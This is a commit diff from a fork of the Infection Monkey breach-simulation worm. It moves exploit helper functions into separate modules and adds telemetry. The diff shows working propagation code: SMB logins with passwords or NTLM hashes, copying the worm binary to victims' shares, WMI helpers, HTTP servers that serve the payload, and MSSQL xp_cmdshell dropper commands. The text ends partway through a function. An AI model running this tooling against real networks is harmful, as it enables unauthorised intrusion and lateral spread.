forked from p34709852/monkey
exploit.tools refactored into separate modules to avoid circular dependencies while using telemetries
This commit is contained in:
parent
a8a355afb2
commit
8e3f1e7817
|
@ -11,7 +11,7 @@ from ctypes import c_char_p
|
|||
|
||||
import filecmp
|
||||
from infection_monkey.config import WormConfiguration
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
|
||||
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
|
||||
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
|
||||
|
||||
|
|
|
@ -11,7 +11,8 @@ import logging
|
|||
import posixpath
|
||||
|
||||
from infection_monkey.exploit.web_rce import WebRCE
|
||||
from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
|
|
@ -6,9 +6,10 @@ from time import sleep
|
|||
import pymssql
|
||||
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from infection_monkey.exploit import HostExploiter, tools
|
||||
from infection_monkey.exploit.tools import HTTPTools
|
||||
from infection_monkey.exploit.tools import get_monkey_dest_path
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, get_target_monkey, \
|
||||
build_monkey_commandline, get_monkey_depth
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.utils import get_monkey_dir_path
|
||||
|
||||
|
@ -40,7 +41,7 @@ class MSSQLExploiter(HostExploiter):
|
|||
return False
|
||||
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = tools.get_target_monkey(self.host)
|
||||
src_path = get_target_monkey(self.host)
|
||||
if not src_path:
|
||||
LOG.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
@ -68,9 +69,9 @@ class MSSQLExploiter(HostExploiter):
|
|||
MSSQLExploiter.run_file(cursor, tmp_file_path)
|
||||
self.add_executed_cmd(' '.join(commands))
|
||||
# Form monkey's command in a file
|
||||
monkey_args = tools.build_monkey_commandline(self.host,
|
||||
tools.get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = build_monkey_commandline(self.host,
|
||||
get_monkey_depth() - 1,
|
||||
dst_path)
|
||||
monkey_args = ["xp_cmdshell \"<nul set /p=%s >>%s\"" % (part, tmp_file_path)
|
||||
for part in textwrap.wrap(monkey_args, 40)]
|
||||
commands = ["xp_cmdshell \"<nul set /p=%s %s >%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
|
||||
|
|
|
@ -10,11 +10,10 @@ from rdpy.protocol.rdp import rdp
|
|||
from twisted.internet import reactor
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools import get_target_monkey
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
|
||||
from infection_monkey.utils import utf_to_ascii
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
|
|
@ -19,8 +19,10 @@ import infection_monkey.monkeyfs as monkeyfs
|
|||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_target_monkey_by_os, get_monkey_depth
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'itay.mizeretz'
|
||||
|
||||
|
@ -266,7 +268,7 @@ class SambaCryExploiter(HostExploiter):
|
|||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||
|
||||
T1105Telem(ScanStatus.USED, self.host.ip_addr[0], monkey_bin_64_src_path).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
|
|
|
@ -7,10 +7,10 @@ from random import choice
|
|||
import requests
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.exploit.shellshock_resources import CGI_FILES
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
|
||||
__author__ = 'danielg'
|
||||
|
||||
|
|
|
@ -4,11 +4,11 @@ from impacket.dcerpc.v5 import transport, scmr
|
|||
from impacket.smbconnection import SMB_DIALECT
|
||||
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||
from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS
|
||||
from infection_monkey.network import SMBFinger
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
|
||||
LOG = getLogger(__name__)
|
||||
|
|
|
@ -6,11 +6,12 @@ import StringIO
|
|||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.exploit import HostExploiter
|
||||
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
|
||||
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
|
||||
from infection_monkey.model import MONKEY_ARG
|
||||
from infection_monkey.network.tools import check_tcp_port
|
||||
from infection_monkey.exploit.tools import build_monkey_commandline
|
||||
from common.utils.exploit_enum import ExploitType
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
|
||||
__author__ = 'hoffer'
|
||||
|
||||
|
@ -162,10 +163,11 @@ class SSHExploiter(HostExploiter):
|
|||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
|
||||
T1105Telem(ScanStatus.USED, self.host.ip_addr[0], src_path).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
T1105Telem(ScanStatus.SCANNED, self.host.ip_addr[0], src_path).send()
|
||||
return False
|
||||
|
||||
try:
|
||||
|
|
|
@ -1,536 +0,0 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import os.path
|
||||
import pprint
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import urllib
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from threading import Lock
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host)
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,134 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
